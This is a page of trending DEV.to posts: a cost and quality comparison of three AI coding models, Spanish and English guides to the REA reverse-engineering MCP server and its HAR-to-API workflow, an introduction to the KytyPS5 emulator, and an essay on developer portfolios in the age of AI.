DEV.to - Trending Guides

Gemini 4 Argon vs Opus 5.5 vs GPT-6 Astra: Same Prompt, Real Bills

akartit — Wed, 14 Oct 2026 07:56:35 GMT

Gemini 4 Argon, Google's new frontier model (generally available October 13, 2026), built a 3D car in Blender from one picture, by itself. Then I gave Argon, Claude Opus 5.5 and GPT-6 Astra the exact same prompts: a Lamborghini in pure code, a one-shot 3D kart game, an animated SVG and 82 labelled questions. Argon made the best-looking cars and was the fastest and 2.3x cheaper on the kart game; the Blender job cost $22.13. This is the written companion to my video, with every number and the two settings that make Argon work in opencode.

Key facts (quick answer)

Fact	Measured result
Image to 3D car in Blender	Argon: 43 objects, working lights, turntable rig, 240 frames; $22.13 on my API key
Same Lamborghini prompt, 3 agents	Argon (opencode) 2,540 lines; Opus 5.5 (Claude Code) 1,166 lines in 14 min 39 s; Astra (Codex) 193 lines in 9 min 17 s
One-shot 3D kart game (OpenRouter)	Argon 220.6 s, $0.306, works; Astra 323.4 s, $0.704, 10/10; Opus cut off at 32,000 tokens
82 labelled questions	Argon 82/82, Astra 82/82, Opus 81/82 (1 format miss)
Price	$2 in / $10 out per 1M tokens until Nov 30, 2026, then $4 / $20
Context	1,048,576 tokens; text, image, video, audio, PDF in; text out

TL;DR

Argon turned one reference sheet into a 43-object 3D car in Blender, with lights and a turntable rig.
That Blender session cost $22.13: 10,203,143 input tokens, only about 4% from cache.
On the Lamborghini test, Argon wrote 2,540 lines for one car; my pick for car design, weakest on driving feel.
One-shot kart game: Argon 220.6 s and $0.306, Astra 323.4 s and $0.704 (10/10), Opus cut off.
In opencode, set headerTimeout 1800000 and OPENCODE_EXPERIMENTAL_OUTPUT_TOKEN_MAX=65536.
On 82 one-word questions Argon and Astra scored 82/82; Argon was the slowest (3.355 s median).

How did Gemini 4 Argon build a 3D car in Blender?

One image, then Argon did the modelling itself. Codex made a single reference sheet of a lime supercar from the front, side, back and top. I gave that one image to Argon running in opencode, connected to Blender through an MCP server.

Argon read the picture, built the body, wheels, wing and glass part by part with Python, checked snapshots against the sheet, and ended with 43 objects. When I asked for working lights it added headlights and taillights; then a turntable rig and a 240-frame camera move, rendered in Blender.

What did it cost?

$22.13 on my Gemini API key, counted by opencode: 61 steps, 10,203,143 input tokens, 126,819 output tokens, 41,620 reasoning tokens and 419,360 tokens read from cache (about 4%). Every step resent the whole conversation, images included. Keep agent sessions short and keep the start of the prompt the same so implicit caching can help (Google applies it to shared prefixes of 6,144 tokens or more).

The Lamborghini test: three coding agents, one prompt

Same prompt, three agents side by side in AnvilTerm: Argon in opencode, Opus 5.5 in Claude Code, Astra in Codex. The prompt: a detailed 3D Lamborghini-style supercar made entirely in three.js code (no model files) driving down an endless neon highway, with a chase camera, speedometer, turbo with exhaust flames, 6 paint colours and an orbit mode.

Agent	Time	Lines	Billing
GPT-6 Astra (Codex)	9 min 17 s	193	subscription (about $3.30 at OpenRouter list prices)
Claude Opus 5.5 (Claude Code)	14 min 39 s	1,166	subscription (about $14.14 at list prices)
Gemini 4 Argon (opencode)	first file in about 7 min, then 17 min of self-testing	2,540	$2.45 charged on my API key

My pick for car design is Argon: the wedge, the Y-shaped lights and the wing. Its driving feel is where it is weakest.

Two opencode settings for Gemini 4 Argon

Argon did not work in opencode on the first try, and both fixes are one line.

Argon can think for more than 5 minutes before its first token, and opencode gave up with ProviderHeaderTimeoutError. In ~/.config/opencode/opencode.json: "provider": {"google": {"options": {"headerTimeout": 1800000, "chunkTimeout": 1800000}}}.
opencode (1.19.0) caps every reply at min(model limit, 32000) output tokens. Argon writes the whole file in one reply, so three runs ended with finish: length at exactly 32,000 tokens and the file was silently dropped. Start it with OPENCODE_EXPERIMENTAL_OUTPUT_TOKEN_MAX=65536 opencode -m google/gemini-4-argon.

With both settings the next run wrote the 2,540-line car.

Update for opencode v2: in opencode v2 (I checked the 2.0.28 code) the reply limit is the model's own limit.output (capped at 256,000) instead of a fixed 32,000, so the environment variable is no longer needed: set "gemini-4-argon": {"limit": {"output": 65536}} under provider.google.models in opencode.json. Google's default output limit for Argon is 65,536.

Gemini 4 Argon vs Opus 5.5 vs GPT-6 Astra on a one-shot kart game

Argon was the fastest and cheapest; Astra was the most complete. One API call each through OpenRouter, reasoning on, max 32,000 tokens, cost from OpenRouter's own usage.cost.

Model	Seconds	Cost	Result
Gemini 4 Argon	220.6	$0.306	works, 9.5/10
GPT-6 Astra	323.4	$0.704	10/10
Claude Opus 5.5	307.6	$0.641	cut off at 32,000 tokens (20,770 of them reasoning)

For long one-shot code with Opus, give it a smaller thinking budget so the answer fits.

Which model drew the best Lamborghini SVG?

Argon, at high thinking. Opus drew a clean retro wedge and Astra a tidy sports coupe; Argon's drawing had the sharp cut lines and a blue exhaust flame (263.7 s, 16,271 output tokens).

How accurate is Gemini 4 Argon on simple decisions?

82 out of 82. 82 labelled questions, one exact word expected, same harness as my decision-model video.

Model	Correct	Median time	Cost for 82
Gemini 4 Argon	82/82	3.355 s	$0.220
GPT-6 Astra	82/82	1.701 s	$0.105
Claude Opus 5.5	81/82	2.410 s	$0.069

Opus's one miss was format, not logic: it explained the answer before giving it.

What does Google's own table say?

Google reports Argon ahead on agentic coding and long context, not everywhere. These are vendor-reported numbers from Google's launch page.

Benchmark (Google)	Argon	Opus 5.5	Astra
DeepSWE v1.1	77.9%	74.2%	74.1%
GraphWalks 256k-1M	84.2%	66.8%	71.8%
Terminal-bench 4.0	57.4%	66.4%	58.2%
FrontierSWE v2	55.0%	62.3%	65.5%

Caveats

The three agents ran in different tools (opencode, Claude Code, Codex) with each tool's own system prompt, so the Lamborghini test compares agent setups, not bare models.
Claude Code and Codex ran on subscriptions; their dollar figures are the same tokens at OpenRouter list prices. Argon's costs are what my API key was charged.
Argon needed 6 fresh opencode sessions before a file landed: 2 hit the timeout and 3 hit the 32,000-token cap described above.
One run each per test; model outputs vary from run to run.

My take

For anything visual (3D scenes, Blender, drawings) Argon gave me the best-looking results, and it was the fastest on the one-shot game. For a complete, polished app in one reply, Astra was the most reliable. Opus in Claude Code was the one that just worked with no settings. If you run Argon as an agent, watch the bill: the same session that made the Blender car resent ten million tokens.

Sources

Google, "Gemini 4 Argon: Built to solve your hardest problems", October 13, 2026 (benchmark table, vendor-reported)
Gemini API model page and pricing page for gemini-4-argon (read October 13, 2026)
My logs: opencode session database, Claude Code and Codex session files, OpenRouter usage.cost for every benchmark call

Originally published on kartit.net. Independent review by Anass Kartit. Not affiliated with Google, Anthropic or OpenAI.

¿Qué es REA (Reverse Engineer Anything)? El servidor MCP que alcanzó 115.000 estrellas en GitHub ...

Roobia — Tue, 13 Oct 2026 03:03:04 GMT

¿Qué es REA (Reverse Engineer Anything)? El servidor MCP que alcanzó 115.000 estrellas en GitHub en una semana

REA, abreviatura de Reverse Engineer Anything, es un servidor MCP y una CLI de código abierto que proporcionan a un agente de programación las herramientas para desmontar software sin su código fuente. Apunta a Claude Code, Codex, Cursor u otro agente hacia un binario nativo, una aplicación Electron, un ensamblado .NET, un APK de Android, un sitio web o una captura de red guardada, pregunta cómo funciona una función y REA devuelve pseudocódigo, gráficos de módulos, registros de solicitudes y la evidencia detrás de cada afirmación. Después, el agente explica el comportamiento o lo reconstruye.

Prueba Apidog hoy

El repositorio morluto/rea se creó en abril de 2026 y permaneció casi inadvertido hasta la primera semana de octubre. El 12 de octubre ya había superado las 115.000 estrellas y los 25.000 forks, una de las subidas más rápidas que GitHub ha visto. Esta guía cubre qué hace REA, cómo instalarlo, dónde es fuerte, dónde el bombo supera la realidad y la parte que la mayoría de la cobertura omite: REA lee capturas HAR y mitmproxy, lo que lo convierte en un front end para la ingeniería inversa de APIs que puedes terminar en Apidog.

Los números detrás del bombo

El seguimiento diario de Trendshift muestra la forma del pico. REA apareció por primera vez en la lista de tendencias el 4 de octubre con unas 1.400 estrellas nuevas en un día. Después creció de forma compuesta durante una semana.

Fecha	Nuevas estrellas ese día
4 oct.	1.373
7 oct.	5.602
9 oct.	19.375
10 oct.	26.572
11 oct.	31.255

El repositorio mantuvo el primer puesto en GitHub Trending durante cinco de los siete días del 6 al 12 de octubre. Las versiones siguieron el mismo ritmo: la 3.2 llegó el 3 de octubre, la 4.0 el 5, la 5.0 el 7, la 6.0 el 8 y de la 6.1 a la 6.4 entre el 9 y el 11 de octubre. Ese ritmo importa para quien lo adopta, y volveremos a ello.

Ningún tuit ni publicación de lanzamiento explica el salto por sí solo. El argumento hizo el trabajo: “Ve una función que te gusta. Entiende cómo funciona, hasta el nivel del binario”. Los vídeos de agentes reconstruyendo aplicaciones de escritorio desde sus binarios se difundieron rápido, junto con las afirmaciones habituales de que el software está acabado. La lectura más útil es más estrecha. REA es un conector bien empaquetado entre agentes y herramientas de ingeniería inversa que ya existían.

Qué hace REA

REA se ejecuta como un servidor MCP local. Tu agente llama a sus herramientas, REA inspecciona el objetivo con el motor adecuado y el agente recibe hallazgos estructurados junto con sus limitaciones e incógnitas. Los mismos flujos de trabajo están disponibles como comandos CLI, así puedes automatizarlos sin ningún agente.

Lo que analiza, según la tabla de objetivos del README:

Objetivo	Qué devuelve REA	Necesita
Binarios nativos	Pseudocódigo, ensamblador, cadenas, símbolos, referencias cruzadas	Hopper, Ghidra o IDA
Binarios Go	Versión del compilador, módulos, ajustes de compilación	Nada adicional
Aplicaciones JavaScript y Electron	Módulos, importaciones, source maps, rutas, límites IPC	Solo Node.js
Sitios web	Estructura de la página, scripts, observaciones de red, capturas de pantalla	Un navegador de la familia Chrome
Capturas de red guardadas	Solicitudes, respuestas, payloads, ubicaciones de origen	HAR; mitmdump en Linux para mitmproxy
Ensamblados .NET	Metadatos, CIL, dependencias nativas	Nada adicional
APKs y dispositivos Android	Manifiesto, métodos descompilados, registros, capturas de pantalla	JADX más un JDK; adb
Firmware	Regiones, resultados de extracción	Binwalk o Unblob en Linux
Bytecode WASM y EVM	Secciones, importaciones y exportaciones, selectores de dispatch	WABT; Linux x64

La decisión de diseño que distingue a REA de un envoltorio delgado es el modelo de evidencia. Cada resultado lleva su procedencia: resúmenes de archivos, rangos de bytes, punteros JSON hacia la captura y una lista explícita de lo que el análisis no pudo establecer. El proyecto lo repite en su documentación. El análisis se ejecuta en tu máquina, pero el FAQ del README es directo: el proveedor del modelo del agente sigue recibiendo los resultados de las herramientas según su propia política de datos.

Cómo instalar REA

Necesitas Node.js 22.19 o posterior (23 y 25 no son compatibles) y npm. Un comando registra el servidor MCP e instala las instrucciones de skill correspondientes para tu agente:

npx rea-agents setup

La configuración muestra un plan, hace una copia de seguridad de la configuración existente y solo escribe después de tu aprobación. Según la guía de instalación, es compatible con Claude Code, Claude Desktop, Codex, Cursor, Gemini CLI, Windsurf, Devin, OpenCode, Antigravity, GitHub Copilot CLI, VS Code, Grok Build, Hermes y más, seleccionables con un marcador --client. Reinicia el agente después y pregúntale algo como:

Understand how search works in the Notes app, show me the evidence,
and build a similar feature for my project.

Para una CLI global:

npm install --global rea-agents
rea doctor --json

El análisis de JavaScript estático, .NET, sitios web y capturas funciona sin ningún motor adicional. El análisis nativo profundo necesita Hopper, Ghidra 12.1 con JDK 21 o superior, o IDA. La configuración puede instalar Hopper con tu aprobación, pero Hopper es un software comercial independiente con su propia licencia. Ghidra en Windows está marcado como experimental.

En qué es bueno, según los ejemplos destacados

Los casos de estudio del propio proyecto son el punto de referencia más honesto. En el estudio de DX-Boll, el agente siguió una llamada de sonido hasta su helper de posición a panorámica, convirtió pseudocódigo incompleto en C y la reconstrucción superó los 3.205 casos de prueba x86 originales mientras reproducía los 63 bytes de la función compilada. En el estudio de Notion, rastreó la API del portapapeles desde el renderer, a través de preload e IPC, hasta el proceso principal de Electron. Un tercero recuperó un cálculo de ángulo de anillo de balas a partir de instrucciones de 16 bits de un juego para PC-98 de los años noventa.

Observa el patrón. Son preguntas con un alcance estrecho sobre una función o una ruta de datos, con una forma de verificar la respuesta. Ahí funciona hoy la ingeniería inversa dirigida por agentes. Las demostraciones de “reconstruye esta aplicación completa” lucen bien en vídeo y producen algo parecido al objetivo, pero una reseña temprana que comparó REA con un agente básico en una aplicación Mac sencilla encontró una diferencia pequeña y una ejecución más lenta con REA. El valor aparece cuando la pregunta es específica y el objetivo es complejo.

REA para trabajo con APIs: de la captura a una especificación probada

Aquí está la parte relevante para cualquiera que construya contra APIs. La herramienta inspect_web_network_capture de REA lee un archivo HAR (o una captura nativa de mitmproxy en Linux) sin conexión. Nunca vuelve a solicitar las URLs grabadas. Valida cada entrada, conserva los cuerpos de solicitud y respuesta con sus resúmenes criptográficos y excluye estructuralmente de la evidencia los encabezados de autorización, las cookies y las credenciales de la URL.

Luego hace algo que un equipo de APIs reconocerá de inmediato. Pasa la evidencia retenida a inspect_analysis_view con la vista api-surface y REA agrupa cada solicitud por método, origen y plantilla de ruta inferida. Los IDs numéricos se convierten en {numeric}, los UUID en {uuid}, las cadenas hexadecimales largas en {hex} y las fechas en {iso-date}. Cada grupo cita los registros de los que proviene y marca estados o tipos de contenido mixtos. La guía de capturas tiene cuidado al decir que la vista no hace afirmaciones sobre esquemas ni manejadores. Es un inventario inferido, no una especificación.

Ese inventario es exactamente el punto de partida del flujo de nuestra guía de ingeniería inversa de APIs, y Apidog lo termina:

Captura una vez. En Chrome DevTools, reproduce el flujo y guarda todas las solicitudes como un HAR con contenido. Registra con una cuenta de prueba; un HAR incluye tokens activos.
Deja que el agente lo mapee. Pide a tu agente que ejecute REA sobre el HAR y resuma la superficie de la API. Obtienes la lista de endpoints, los patrones de ID y qué llamadas devolvieron errores, con punteros de vuelta a los registros originales.
Importa el mismo HAR en Apidog. Apidog convierte las solicitudes capturadas en endpoints, con una opción para generar un caso de prueba predeterminado por endpoint y descartar recursos estáticos al importar. Nuestra guía de importación de HAR cubre la limpieza.
Promueve las plantillas inferidas a parámetros de ruta reales. Los marcadores {numeric} y {uuid} de REA te indican qué segmentos parametrizar en las definiciones de endpoints de Apidog.
Simula y prueba. Activa el smart mock de Apidog para que tu código cliente pueda ejecutarse contra la API reconstruida antes de tocar la real; luego escribe aserciones sobre las formas de respuesta capturadas y ejecútalas desde la CLI de Apidog en CI.

La división es limpia. REA es bueno leyendo evidencia y explicándola. Apidog es donde los endpoints se convierten en un contrato documentado, simulado y probado que tu equipo puede compartir. Ninguno hace el trabajo del otro.

Advertencias antes de adoptarlo

La velocidad de versiones corta en ambos sentidos. Siete versiones menores se publicaron en nueve días, y la política always-bump-minor del proyecto significa que un aumento menor puede ser disruptivo. La guía de migración a 6.2 cambió la forma de cada resultado MCP. Si escribes scripts contra la salida JSON de REA, fija una versión y lee el changelog antes de actualizar.

Es un conector, no un sandbox. La política de seguridad del proyecto afirma que su puente local de proveedores no es un sandbox y que abrir un binario no confiable ejecuta su análisis con tus permisos de usuario. Analiza objetivos no confiables en un entorno aislado, igual que aislarías las llamadas de herramientas de cualquier agente.

Las limitaciones de plataforma son específicas. La decodificación nativa de mitmproxy necesita exactamente mitmdump 12.2.3, en Linux y suministrado por ti. Las rutas de extracción de firmware, EVM y WASM son para Linux x64. Hopper no tiene versión para Windows.

La responsabilidad legal sigue siendo tuya. El README limita REA a investigación, análisis y reconstrucción legales, y dice que tú eres responsable de la autorización. Copiar una función de la competencia sigue siendo la misma cuestión legal que antes de que existiera la herramienta. El proyecto también ha tenido que declarar que no ha emitido ningún token y que las monedas que usan su nombre no están afiliadas.

Está en una etapa temprana. Más de 100 colaboradores y más de 170 issues y pull requests abiertos al escribir esto. La documentación es exhaustiva, pero espera asperezas fuera de los caminos destacados.

Preguntas frecuentes

¿REA es gratis? Sí. El código tiene licencia MIT y el paquete npm es gratuito. Hopper es un producto de pago si lo eliges para análisis nativo; Ghidra es gratis.

¿REA sube mi aplicación o binario? No. El análisis se ejecuta localmente. Los resultados de las herramientas van al modelo que use tu agente, por lo que se aplica la política de datos de ese proveedor.

¿Necesito Ghidra o IDA para empezar? No para análisis de JavaScript, Electron, .NET, sitios web o capturas. Solo la descompilación de binarios nativos necesita un motor.

¿Puede REA producir una especificación OpenAPI a partir del tráfico? No. Su vista api-surface es un inventario inferido con plantillas de ruta. Importa el HAR en Apidog para obtener definiciones editables de endpoints y exporta OpenAPI desde allí. Descarga Apidog para probar la importación con una captura que ya tengas.

Dónde te deja esto

REA se ganó sus estrellas al empaquetar motores reales de ingeniería inversa detrás de un servidor MCP y documentar la evidencia que devuelve. Úsalo para preguntas con alcance definido: cómo funciona una función, qué canal IPC transporta un mensaje, qué aspecto tiene el tráfico de una aplicación. Trata las demostraciones de reconstruirlo todo como demostraciones.

Para los equipos de APIs, la ventaja práctica es la ruta de captura. Deja que el agente lea el HAR con REA, importa el mismo archivo en Apidog y convierte el inventario en endpoints que puedes simular, probar y documentar.

REA: Let Your AI Agent Reverse Engineer the App Features You Wish You Had

ArshTechPro — Thu, 08 Oct 2026 11:28:11 GMT

You are using an app and notice a feature that just works. Instant offline search. A clever sync behavior. A smooth update flow. You want something similar in your own product, but you have no source code, no docs, and no idea where to start.

Traditionally, the answer was "learn reverse engineering." That means picking a disassembler, learning its API, digging through strings and symbols, following call graphs by hand, and copying findings between tools. It is a deep skill, and most application developers never have the time to pick it up.

REA takes a different approach: it hands that work to your AI coding agent.

In this post we will cover what REA is, how it works, how to set it up, and whether it is worth your time.

What is REA?

REA is an open-source (MIT) tool, written in TypeScript, that gives AI agents a consistent way to investigate software. It ships as:

A CLI (rea) you can run from your terminal
An MCP server that agents like Claude Code, Cursor, Codex, Gemini CLI, Windsurf, and Claude Desktop can call directly

The pitch is simple: point your agent at an app, ask how a feature works, and the agent uses REA to inspect the app, explain the feature with evidence, and then build a version adapted to your stack.

The mental model: Decompile, Understand, Recreate

REA frames every investigation in three stages:

Decompile - open the app and recover readable code, strings, symbol names, and other clues.
Understand - follow the code from one part of the app to another until the agent can explain how the feature actually works.
Recreate - turn what was learned into a feature for your own product, in your language and framework.

One thing worth stating up front: REA does not claim to recover the original source code, and it does not clone apps. It gives the agent pseudocode, assembly, symbols, strings, and relationships, and it shows the evidence behind every conclusion.

What a real investigation looks like

Say you ask your agent:

Reverse engineer the Notes app. Find how offline search works, explain it,
and build a version for my project using TypeScript and SQLite.

Behind the scenes, the agent works through roughly these steps using REA tools:

Step	What the agent does	Example REA tools
1	Opens and identifies the binary	`open_binary`, `binary_overview`
2	Looks for search-related clues	`search_strings`, `search_procedures`, `list_names`
3	Connects clues to actual code	`find_xrefs_to_name`, `xrefs`, `procedure_callers`
4	Rebuilds the control flow	`get_call_graph`, `procedure_callees`
5	Decompiles the important functions	`procedure_pseudo_code`, `batch_decompile`
6	Writes the feature in your project	Your agent's normal editing and test tools

REA handles steps 1 through 5. Step 6 is your agent doing what it already does well: writing code.

If you have done any manual reverse engineering, you will recognize this workflow. The difference is that the agent drives it instead of you.

How it works under the hood

REA itself is not a disassembler. It is an orchestration layer that sits between your agent and real analysis tools.

Agent / Terminal
      |
      v
  REA (CLI + MCP server)
      |
      +--> Deep analysis providers: Hopper, Ghidra
      +--> Native macOS utilities (Mach-O, code signatures, plists, Swift demangling)
      +--> Artifact provider (ZIP, APK, IPA, ASAR, MSIX inventory)
      +--> Browser provider (passive Chrome DevTools Protocol observation)
      +--> Process capture provider (controlled terminal sessions)
      |
      v
  Evidence records you can export, compare, and reuse

A few design choices stand out:

Providers do the heavy lifting. Hopper is the main deep-analysis provider, and Ghidra is supported as a read-only, bring-your-own option on Linux (plus an experimental Windows x64 mode).
Everything produces evidence. Each successful result is stored as a structured "Evidence v2" record that includes the provider, confidence, and known limitations. You can export these bundles, import them later, and diff them across app versions.
Unknowns stay unknown. REA is strict about not presenting guesses as facts. Static inference and runtime observation are labeled separately, and incomplete data is reported as incomplete.
Local by design. There is no hosted analysis service. The app you analyze stays on your machine (though your AI model provider still has its own data policy).
Same engine for CLI and MCP. Whatever your agent can do, you can also do from the terminal.

What it can analyze today

Native binaries get the deepest support, but REA covers more than that:

Native apps: Mach-O, ELF, PE, and macOS .app bundles, including Swift and Objective-C metadata
Packages and archives: ZIP, APK, IPA, ASAR, plus file-level inventory without extraction
Electron and JavaScript apps: static mapping of entry points, modules, IPC channels, preload scripts, and source maps, without executing anything
Websites: passive observation of a browser you already control, over a local Chrome DevTools endpoint
.NET (managed PE/CLI): execution-free triage of metadata, members, and native boundaries
Version diffs: compare two releases of an app and get a report of what changed

Getting started

Requirements

macOS 12+, or Ubuntu 24.04+, Fedora 41+, or 64-bit Arch Linux (Windows x64 is experimental and Ghidra-only)
Node.js 22.19+ or 24.11+
A deep-analysis provider: Hopper (setup can install it, and the free demo mode works) or your own Ghidra 12.1.2 with JDK 21

Install and run setup

The quickest path:

npx --yes rea-agents@latest setup

Or install the CLI globally:

npm install --global rea-agents
rea setup

Setup is careful. It detects which agents you have installed, asks which capabilities you want, shows the exact files it will change, and defaults to "No" before applying anything. Use rea setup --dry-run if you want to preview the plan first.

When setup finishes, restart your agent so it picks up the new MCP server.

Check your environment

rea doctor

This tells you whether something is missing, misconfigured, or unsupported on your machine.

Try it from the terminal

rea analyze /Applications/Notes.app
rea search /Applications/Notes.app "offline"
rea trace /Applications/Notes.app "offline"

Or just ask your agent

Understand how search works in the Notes app, show me the evidence,
and build a similar feature for my project.

Manual MCP configuration

If your agent supports local MCP servers but is not auto-detected, add this to its config:

{
  "mcpServers": {
    "rea": {
      "command": "npx",
      "args": ["-y", "rea-agents@3.1.0", "mcp"]
    }
  }
}

Pin to the latest published version from npm.

Safety and permissions

Reverse-engineering tools can be risky if they run code you do not trust. REA leans heavily toward caution:

Dynamic features (process capture, browser observation, runtime inspection) are disabled by default and need explicit environment variables plus per-call approval.
File-based evidence commands only work inside directories you approve, using variables like REA_EVIDENCE_ROOTS_JSON.
Static JavaScript analysis parses code without running it.
REA never calls sudo, and it uses authenticated local sockets for provider communication.

The flip side: providers and launched targets still run with your user permissions. REA is not a security sandbox, so do not treat it as one when handling malware.

Is it worth a try?

Yes, if:

You are on macOS or Linux and already use an MCP-capable agent like Claude Code or Cursor.
You want to understand how a feature works in an app you use, especially a native or Electron app.
You are curious about reverse engineering but never had time to learn Hopper or Ghidra.
You need to document an undocumented file format, protocol, or interface for interoperability.
You maintain software and want to diff behavior across versions.

Maybe hold off if:

You are on Windows. Support there is experimental and limited.
You want a quick, zero-config tool. REA has a lot of opt-in switches and environment variables, which is good for safety but takes time to learn.

A few practical notes:

Hopper is separate commercial software. The demo mode works, but has vendor-defined limits.
Deep investigations can use a lot of agent tokens, so watch your model costs.
Respect the law and the software license. Reverse engineering for learning and interoperability is common, but some license agreements and jurisdictions restrict it. Recreate ideas and behavior, not copyrighted code or assets.

Summary

REA turns reverse engineering from a specialist skill into something you can delegate to your coding agent. You describe the feature, the agent investigates the app, shows you how it reached its conclusions, and then helps you build your own version.

GitHub: github.com/morluto/rea

Getting Started with KytyPS5: A Practical Look at PS5 Emulation on PC

Qpphello1 — Tue, 06 Oct 2026 01:12:00 GMT

PS5 emulation is fascinating, but a successful download does not mean every game will run. A title might show a logo, reach its menu, enter gameplay with glitches, or fail to boot at all. If you are curious about the current state of the technology, KytyPS5 is an open-source project worth exploring with those distinctions in mind.

What is KytyPS5?

KytyPS5 is a C++ PlayStation 5 emulator based on a heavily modified version of Kyty. It has its own PS5-focused development and releases, so it should not be confused with an older Kyty download. The project is available under the GPL-2.0 license, and its source code and releases are on the KytyPS5 GitHub repository.

The desktop launcher gives you a familiar starting point: add a folder containing your game library, find a title in the list, adjust its settings if needed, and launch it. There are controls for keyboard and mouse mapping, graphics options, and settings for individual games. You can also launch supported game content from the command line.

What do you need to try it?

The checked releases provide Windows x64 and Linux x86_64 builds. macOS support is experimental; its available archive is an x86_64 build that can run on Apple Silicon through Rosetta 2, with MoltenVK bundled. The graphics renderer requires a Vulkan 1.3-capable driver. Check the project's requirements and the release assets for your platform before downloading, since available builds can change.

The emulator download does not include games. You need your own legally obtained game content in a supported format. For the graphical launcher, a useful first step is to add the parent library folder rather than the folder for a single game, then refresh the game list. A game directory needs its eboot.bin at the expected root; the project also supports certain ELF and ZArchive inputs.

Read compatibility reports as test results

A compatibility label is a starting point, not a promise. “In game” tells you that a tester reached gameplay on a particular build and setup. It does not necessarily mean the game runs at full speed or can be completed without issues.

When checking a report, look at four details together:

Platform and build: A Windows result may not apply to Linux or macOS, and a later build can behave differently.
Game version and settings: Some results depend on a particular update or patch.
Hardware: GPU drivers and device features can affect the result.
The tester's notes: A menu, a few minutes of gameplay, and a full playthrough are very different outcomes.

That context is especially useful when you troubleshoot. If a game behaves differently on your machine, compare your setup with the report before assuming the emulator or the game is universally broken.

A guide for the first run

I put together an independent KytyPS5 guide that brings the practical steps into one place. It links to the original release files and includes platform-specific setup instructions, recorded SHA-256 hashes, first-run guidance, controls, troubleshooting, and searchable game compatibility reports. You can browse the compatibility list before choosing a title to test.

The guide is not the official KytyPS5 project site. For source code, release notes, and project issues, go directly to the developers' GitHub repository.

If you experiment with KytyPS5, keep track of the build, game version, operating system, GPU, and the point where a game stops or starts working. Those details make your own comparisons more useful and help turn a vague “it doesn't work” into a report other people can learn from.

Why you still need a Website Portfolio, even though everyone can Vibe Code it.

FrancisTRᴅᴇᴠ — Mon, 05 Oct 2026 15:09:58 GMT

If you have been following me for a long time, you already know that I have been holding off on my Portfolio review for several months.

Before you ask, yes, I will finally show my portfolio website. First, I want to write about something we all may have been thinking about at some point.

Everyone needs a developer portfolio. It's one of the big ways to stand out in the tech market because it shows your work and experience to recruiters in a friendly UI format. Some may say it's a great alternative to review a candidate's work (Source: Trust me bro).

However, in the age of AI, it seems that it's almost impossible to create a portfolio that stands out. Why is that the case?

AI Can do...anything?

We all (probably) have tried using AI at some point and even still use AI in our daily lives. Whether how much you have used it, you probably already know its capabilities.

AI is trained so well that it can potentially one-shot a website portfolio. Even better, if the person decides, it can add features and other stuff to make the website look like it was built in months (even though it was built in minutes). We even got to the point where Claude was able to merge two games into one in a matter of a few weeks!

It's crazy isn't it. AI development has been rapidly growing in the last few years to the point where it is accomplishing tasks that may have taken months to do.

With that said, I thought to myself: "Why consider building a portfolio if everyone can vibe code their way into making their perfect portfolio?"

To be honest, it's a valid question. The market has been difficult because everyone is using AI to their advantage to stand out from the market. I have seen a lot of Website Portfolios and Resumes that have been assisted with AI. As a result, the bar has never been higher.

However, I still believe having a portfolio still matters, even in this age where it seems impossible. Here's my reasoning.

AI Portfolios may look different, but they are the same.

What do I mean by this? I am talking about "style".

If you try to vibe code a portfolio, people can tell that the portfolio is vibe coded. Sure, it's not the EXACT replica compare to 100 portfolios out there, but you can easily tell by seeing some UI features that are defaulted if you vaguely prompt it.

A small example is this:

I have reviewed a lot of portfolios that has this (or something similar). Sure this may be a coincidence, but I want you to try to vibe code a sample website portfolio. Most of the time, they will add this feature.

This matters because if you think about it, a lot of portfolios out there are simply the same, even though it may not look like it. You have to have good "attention to detail" to see this for sure. However, at this point, coming from a person who has reviewed candidates before, it tends to be really repetitive. Hence, making it harder in the hiring process since everyone is doing the same thing and more research needs to be accounted for.

This leads to the next point.

"New Mask, Same Task"

Yes, I took this straight up from RDJ. Though the whole point is that even though he plays a different character, he is still RDJ.

What does this mean in this context? Just because you have pretty portfolio, it does not mean your work reflects that. You can create many different portfolios under your name. At the end of the day, it's still you that needs to improve and not the portfolio.

Portfolio is used as a presentation. If you are presenting your portfolio and it looks good, I would assume you have a lot of work experience and projects that are noticeable based on your portfolio design and how you are selling yourself.

For example, you have a front-end developer portfolio, but if I were to investigate further into your GitHub, I may see the following things:

You just joined as of this year on GitHub.
You claimed you did Open-Source, but there is no PR that reflects that.
Your Portfolio has good UI, your project doesn't.

I can list a lot of things, but the main point is that if you have a good portfolio with a good list of projects you have done, you better hope that your projects and work reflects on how you built this portfolio. This is ESPECIALLY true if you tried to become a front-end developer. If your UI is good, you better hope your projects reflects that.

It's something to keep in mind when building your portfolio. Of course, if you are applying for a back-end developer role, having a good UI on your website portfolio isn't really required, but it's a nice to have. The whole point is to not misrepresent yourself. Be careful on what you add on your portfolio. Always assume people will have questions on your work.

Those are the two main things. Though you may be asking "How do I make my portfolio stand out"?

Here are some key things that you can do (and yes, I am now showing my portfolio lol).

1. Start with a basic portfolio template, then use AI to add onto it.

For my case, I have used an existing portfolio from "brittanychiang.com and meikopoulos.com". From there, I grab existing features using AI and put them together into a portfolio I am proud of. Additionally, I added some new features that are not distracting, but is something I want to add onto my portfolio to make it unique to me:

Instead of building it from scratch, I encourage you to find a portfolio that already exists (Bonus points: Proven that it stands out in the tech market) and build it on top of it. This allows the portfolio to be unique and that reflects you. Additionally, building on to of a template is a good starting point because it already has the fundamentals on what makes a portfolio "good". In this case, I added a feature where the "Skills" section reveals Pokemon in each Skill Card, though I am not sharing how it works. Can you find the Easter egg that does that?

2. Usability and Accessibility!

This is the most OVERLOOK aspect of making a portfolio. Even though you can make your portfolio look nice, it's most likely that it's not accessible.

For example, it can be very laggy on low-end devices, not responsive on mobile, not following best practices, etc. There are a lot of things that is overlooked because we focus on building the best looking portfolio where we should be focusing on making our website portfolio optimized.

I would recommend spending time using AI to optimize your portfolio. In other words: "Boil the lake to make the portfolio, but boil the ocean for website optimization and accessibility".

For mine, I spend countless prompts where I tell the AI to make sure my portfolio is less "laggy" and being able to run on mobile.

This will allow to make a much cleaner portfolio and being able to be used by many people such as people who have disabilities, devices that are not powerful, etc.

3. Simplicity beats Complexity!

A lot of portfolios we have seen tends to be very complex where there are a lot of animations and such.

However, the more you think about it, the more you realized that you can stand out easily.

I have seen a lot of portfolios that are REALLY complex and have a lot of animations, but what people fail to realized is that: You are doing what everyone else is doing.

At the end of the day, you are not standing out, even if you THINK that you are. If I see a portfolio that is heavily designed using AI, I can guarantee that I can find the exact same person who can one-up that.

The best advice is making it simple. Yes, it's boring and yes it's common. But..that's the whole point.

